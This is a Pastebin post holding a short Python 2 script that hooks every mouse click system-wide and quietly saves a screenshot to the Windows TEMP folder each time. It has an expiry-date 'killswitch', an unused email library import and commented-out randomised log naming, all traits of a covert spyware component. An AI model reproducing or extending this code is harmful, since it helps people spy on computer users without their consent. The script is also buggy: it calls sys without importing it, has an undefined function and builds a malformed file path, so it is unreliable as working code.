Advertisement
johnmahugu

@srcn-dll python screen capture

May 27th, 2016
224
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.21 KB | None | 0 0
  1. import os, random, smtplib, string, time, threading, datetime
  2. import pyHook
  3. import pythoncom
  4. import threading
  5.  
  6.  
  7. import autopy
  8. import time
  9.  
  10. # enter killswitch
  11. from datetime import datetime
  12.  
  13. from datetime import datetime as dt
  14. expires = dt(2016,7,8)# enter date in %yyyy,
  15. present = dt.now()
  16. if present > expires:
  17.     #print "oza expired"#killswitch code here
  18.     #print "exiting"
  19.     sys.exit()
  20. else:
  21.     #print "not expired"
  22.     pass
  23.  
  24. # end killswitch
  25.  
  26. def onclick(event):
  27.     print event.Position
  28.     '''start screen grab'''
  29.     def generate_random_string(low,high):
  30.         length=random.randint(low,high)
  31.         letters=string.ascii_letters+string.digits
  32.         return ''.join([random.choice(letters) for _ in range(length)])
  33.         rand_gen=random_string()
  34.         return rand_gen
  35.     ###time.sleep(1)
  36.     ###print "screen captured!@"
  37.     ###temp_path = os.getenv('TEMP')
  38.     ###logfile = temp_path + "\\logs" + generate_random_string(10,15)
  39.    
  40.     sasa = str(time.time())
  41.     b = autopy.bitmap.capture_screen()
  42.     b.save(os.getenv('TEMP')+"@@"+ sasa +"")
  43.  
  44. hm = pyHook.HookManager()
  45. hm.SubscribeMouseAllButtonsDown(onclick)
  46. hm.HookMouse()
  47. pythoncom.PumpMessages()
  48. hm.UnhookMouse()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement